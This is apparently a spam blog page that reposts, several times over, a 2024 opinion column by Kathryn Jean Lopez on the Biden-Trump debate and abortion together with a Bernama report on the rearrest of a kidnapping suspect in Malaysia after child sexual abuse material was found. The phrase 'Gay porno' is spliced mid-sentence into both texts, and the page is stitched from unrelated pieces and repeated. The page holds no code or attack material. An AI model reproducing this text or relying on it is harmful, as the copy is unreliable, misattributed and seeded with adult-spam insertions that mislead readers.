Author: Libin

From the desk of An unsurprisingly uninspiring debate

Posted on by Libin

Sorry. No Image has been uploaded.

e-Edition Sign up for email newsletters to submit an obituary

Please email legals@ukiahdailyjournal.com or call 707-380-1152. Please include your name, mailing address, and phone number along with the copy and photo.

Sign up for email newsletters e-Edition “I did not have sex with a porn star.”Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky.The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power.Gay porno Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York.In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue.“First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion.Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women.Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states.That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not.

I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement.And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’”Needless to say, there was no Donne in the first 2024 presidential debate.Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.”So much for Trump’s states’-rights-fest.There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn.I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie.And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity.Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us.Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky. The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power. Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York. In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue. “First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion. Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women. Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states. That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not. I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement. And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’” Needless to say, there was no Donne in the first 2024 presidential debate. Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.” So much for Trump’s states’-rights-fest. There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn. I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie. And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity. Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us. Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Copyright © 2024 MediaNews Group

Albertine abduction Police rearrest male suspect after child porn found in house

Posted on by Libin

Sorry. No Image has been uploaded.

Kumar says the investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code. ― Photo by Hari Anggara/Malay Mail JOHOR BAHRU (Aug 4): Police have rearrested a 31-year-old male suspect in connection with the kidnapping of six-year-old Albertine Leo Jia Hui at the Eco Galleria area of Iskandar Puteri on July 20.Gay porno Johor police chief CP M Kumar said that the arrest was made to aid the investigation after discovering various sex toys and child pornographic material at the suspect’s residence near Kulai. “The investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code,” he said in a statement today. Kumar added that the suspect, who was initially arrested along with the victim at a budget hotel in Batang Kali, Selangor, on July 23, is expected to be brought to court tomorrow for a remand order application. The suspect’s 13-day remand period, which was to assist in the kidnapping investigation, ended today, and he was released on police bail before being rearrested. Kumar urged anyone with information about the incident to contact the Johor police hotline at 019-279 2095 or the Operations Room at 07-221 2999. – Bernama

From the desk of An unsurprisingly uninspiring debate

Posted on by Libin

Sorry. No Image has been uploaded.

e-Edition Sign up for email newsletters to submit an obituary

Please email legals@ukiahdailyjournal.com or call 707-380-1152. Please include your name, mailing address, and phone number along with the copy and photo.

Sign up for email newsletters e-Edition “I did not have sex with a porn star.”Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky.The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power.Gay porno Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York.In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue.“First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion.Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women.Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states.That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not.

I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement.And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’”Needless to say, there was no Donne in the first 2024 presidential debate.Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.”So much for Trump’s states’-rights-fest.There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn.I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie.And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity.Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us.Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky. The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power. Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York. In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue. “First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion. Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women. Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states. That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not. I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement. And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’” Needless to say, there was no Donne in the first 2024 presidential debate. Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.” So much for Trump’s states’-rights-fest. There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn. I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie. And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity. Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us. Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Copyright © 2024 MediaNews Group

Albertine abduction Police rearrest male suspect after child porn found in house

Posted on by Libin

Sorry. No Image has been uploaded.

Kumar says the investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code. ― Photo by Hari Anggara/Malay Mail JOHOR BAHRU (Aug 4): Police have rearrested a 31-year-old male suspect in connection with the kidnapping of six-year-old Albertine Leo Jia Hui at the Eco Galleria area of Iskandar Puteri on July 20.Gay porno Johor police chief CP M Kumar said that the arrest was made to aid the investigation after discovering various sex toys and child pornographic material at the suspect’s residence near Kulai. “The investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code,” he said in a statement today. Kumar added that the suspect, who was initially arrested along with the victim at a budget hotel in Batang Kali, Selangor, on July 23, is expected to be brought to court tomorrow for a remand order application. The suspect’s 13-day remand period, which was to assist in the kidnapping investigation, ended today, and he was released on police bail before being rearrested. Kumar urged anyone with information about the incident to contact the Johor police hotline at 019-279 2095 or the Operations Room at 07-221 2999. – Bernama

From the desk of An unsurprisingly uninspiring debate

Posted on by Libin

Sorry. No Image has been uploaded.

e-Edition Sign up for email newsletters to submit an obituary

Please email legals@ukiahdailyjournal.com or call 707-380-1152. Please include your name, mailing address, and phone number along with the copy and photo.

Sign up for email newsletters e-Edition “I did not have sex with a porn star.”Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky.The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power.Gay porno Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York.In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue.“First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion.Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women.Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states.That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not.

I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement.And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’”Needless to say, there was no Donne in the first 2024 presidential debate.Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.”So much for Trump’s states’-rights-fest.There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn.I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie.And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity.Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us.Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky. The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power. Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York. In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue. “First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion. Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women. Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states. That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not. I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement. And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’” Needless to say, there was no Donne in the first 2024 presidential debate. Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.” So much for Trump’s states’-rights-fest. There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn. I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie. And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity. Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us. Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Copyright © 2024 MediaNews Group

Albertine abduction Police rearrest male suspect after child porn found in house

Posted on by Libin

Sorry. No Image has been uploaded.

Kumar says the investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code. ― Photo by Hari Anggara/Malay Mail JOHOR BAHRU (Aug 4): Police have rearrested a 31-year-old male suspect in connection with the kidnapping of six-year-old Albertine Leo Jia Hui at the Eco Galleria area of Iskandar Puteri on July 20.Gay porno Johor police chief CP M Kumar said that the arrest was made to aid the investigation after discovering various sex toys and child pornographic material at the suspect’s residence near Kulai. “The investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code,” he said in a statement today. Kumar added that the suspect, who was initially arrested along with the victim at a budget hotel in Batang Kali, Selangor, on July 23, is expected to be brought to court tomorrow for a remand order application. The suspect’s 13-day remand period, which was to assist in the kidnapping investigation, ended today, and he was released on police bail before being rearrested. Kumar urged anyone with information about the incident to contact the Johor police hotline at 019-279 2095 or the Operations Room at 07-221 2999. – Bernama

From the desk of An unsurprisingly uninspiring debate

Posted on by Libin

Sorry. No Image has been uploaded.

e-Edition Sign up for email newsletters to submit an obituary

Please email legals@ukiahdailyjournal.com or call 707-380-1152. Please include your name, mailing address, and phone number along with the copy and photo.

Sign up for email newsletters e-Edition “I did not have sex with a porn star.”Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky.The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power.Gay porno Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York.In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue.“First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion.Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women.Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states.That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not.

I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement.And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’”Needless to say, there was no Donne in the first 2024 presidential debate.Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.”So much for Trump’s states’-rights-fest.There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn.I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie.And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity.Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us.Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Donald Trump’s statement in response to an arguably ad hominem attack from Joe Biden during their June 27 debate must have given more than a few of us flashbacks to Bill Clinton – specifically, his “It depends on what the meaning of the word ‘is’ is” dance as he tried to linguistically sidestep allegations about Monica Lewinsky. The main differences, though, were that Clinton was the sitting president at the time and that the problem was not the sex, but the abuse of power. Trump has always had notorious baggage when it comes to questions of character, going back to New York Post headlines from his decades in New York. In the debate, Trump was right to call out Democratic extremism on abortion. But the questions called out both candidates’ ignorance on the issue. “First of all, the Supreme Court just approved the abortion pill. And I agree with their decision to have done that, and I will not block it,” Trump said. The Court did no such thing. The justices issued a decision on the abortion-pill case based not on the merits or safety of chemical abortion, which is increasingly becoming the default method, but on whether the plaintiffs had standing for the case. It in no way indicated approval of chemical abortion. Trump’s words in support of abortion pills were callous. Prescribing abortion pills is an abandonment of pregnant girls and women. Trump also said that during the half-century life of Roe, “everybody” wanted abortion to return to the states. That’s not true. The California Democratic governor has been advocating for the expansion of abortion in states other than his own because that’s what his party is about. And the pro-lifers who have been on the front lines of providing hope to scared women who feel like abortion is their only option – they wouldn’t be included in Trump’s “everybody.” I daresay the vast majority of them never popped a champagne bottle because states can now choose if they are going to allow abortion or not. I want the end of abortion in America. I am not content that New York will double down on its status as the abortion capital of the country. I want women to be free from all the coercions and pain of abortion. Women deserve better than abortion. In the debate, it sure sounded – not for the first time – like Trump still doesn’t get the heart of the pro-life movement. And Trump quoted Ronald Reagan. Someone should have assigned him to read Reagan’s “Abortion and the Conscience of the Nation,” his 1983 essay for The Human Life Review. In it, Reagan (then the sitting president) wrote: “Abortion concerns not just the unborn child, it concerns every one of us. … The English poet John Donne wrote: ‘… any man’s death diminishes me, because I am involved in mankind; and therefore never send to know for whom the bell tolls; it tolls for thee.’” Needless to say, there was no Donne in the first 2024 presidential debate. Reagan continued: “Abraham Lincoln recognized that we could not survive as a free land when some men could decide that others were not fit to be free and should therefore be slaves. Likewise, we cannot survive as a free nation when some men decide that others are not fit to live and should be abandoned to abortion or infanticide.” So much for Trump’s states’-rights-fest. There are electoral realities, but there is also truth and justice. “Follow the science,” we were told not long ago. In the case of abortions, sonograms have made reality crystal clear. But politicians of both parties choose their own delusions to justify not having the courage to speak for the voiceless unborn. I’ve not said much about Biden’s performance, perhaps because criticizing him feels like a form of elder abuse. Over the decades of his career, he has taken about every position on abortion there is. On debate night, he said he was not for late-term abortions. That is a lie. And so here we are – needing to take this debate as a reality check. Teaching true history, not ideological readings of it, will help. Virtue education can encourage men and women of character to examine their consciences in their daily routines and amid world-changing events, and all things in between. We can raise children who appreciate civic life and public service as noble work – the service of humanity. Many of us were not surprised at how uninspiring the Biden-Trump debate was. Still, we were sad. What we do with that sadness will show the character of people and institutions alike. Character is not a relic of the past – unless we surrender the best of us. Kathryn Jean Lopez is senior fellow at the National Review Institute, editor-at-large of National Review magazine and author of the new book “A Year With the Mystics: Visionary Wisdom for Daily Living.” She is also chair of Cardinal Dolan’s pro-life commission in New York, and is on the board of the University of Mary. She can be contacted at klopez@nationalreview.com. Copyright © 2024 MediaNews Group

Albertine abduction Police rearrest male suspect after child porn found in house

Posted on by Libin

Sorry. No Image has been uploaded.

Kumar says the investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code. ― Photo by Hari Anggara/Malay Mail JOHOR BAHRU (Aug 4): Police have rearrested a 31-year-old male suspect in connection with the kidnapping of six-year-old Albertine Leo Jia Hui at the Eco Galleria area of Iskandar Puteri on July 20.Gay porno Johor police chief CP M Kumar said that the arrest was made to aid the investigation after discovering various sex toys and child pornographic material at the suspect’s residence near Kulai. “The investigation is being conducted under Section 10 of the Sexual Offences Against Children Act 2017 and Section 292 of the Penal Code,” he said in a statement today. Kumar added that the suspect, who was initially arrested along with the victim at a budget hotel in Batang Kali, Selangor, on July 23, is expected to be brought to court tomorrow for a remand order application. The suspect’s 13-day remand period, which was to assist in the kidnapping investigation, ended today, and he was released on police bail before being rearrested. Kumar urged anyone with information about the incident to contact the Johor police hotline at 019-279 2095 or the Operations Room at 07-221 2999. – Bernama

From the desk of An unsurprisingly uninspiring debate

Posted on by Libin

